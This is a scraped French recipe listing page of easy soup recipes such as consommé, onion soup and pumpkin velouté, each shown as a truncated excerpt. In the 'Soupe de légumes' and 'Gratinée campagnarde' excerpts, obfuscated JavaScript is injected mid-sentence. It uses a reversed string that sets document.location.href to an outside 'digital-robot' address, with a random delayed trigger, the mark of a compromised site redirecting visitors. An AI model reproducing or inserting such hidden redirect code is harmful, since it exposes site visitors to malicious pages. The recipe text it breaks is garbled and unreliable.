Niveau : Facile
Consommé de bœuf
Désossez et ficeler la viande (comme la macreuse, gîte, paleron, jumeau, plat de côtes, queue.) ...
Christine. Lire la suiteSoupe à l’oignon
Faites chauffer le bouillon. Pelez les oignons, les couper en rondelles très fines. Dans une ...
Christine. Lire la suiteSoupe de légumes
Pelez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les légumes, les couper en gros dés. ...
Christine. Lire la suiteCappuccino de potiron à la cardamome
Pelez, coupez le potiron en morceaux. Coupez l’ail en deux et ôtez le germe, hachez ...
Christine. Lire la suiteSoupe de potiron
Pelez, Coupez-les potirons en petits dés. Pelez, Rincez les pommes de terre et les coupés ...
Christine. Lire la suiteVelouté d’artichaut
Reconstituez un produit déshydraté pour obtenir un consommé de 2 dl. Égouttez les fonds d’artichauts, ...
Christine. Lire la suiteVelouté d’asperges
Reconstituez les 2 dl de consommé de volaille avec un produit déshydraté. Égouttez les asperges. ...
Christine. Lire la suiteSoupe aux poireaux et aux pommes de terre
Pelez, rincez, coupez en fines rondelles les poireaux, et les pommes de terre. Dans une ...
Christine. Lire la suiteSoupe gratinée au roquefort
Dans une casserole avec de la matière grasse, faites fondre les oignons, quand ils sont ...
Christine. Lire la suiteGratinée campagnarde
Pelez les oignons et les émincer. Dans l’autobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tocuiseur faites ...
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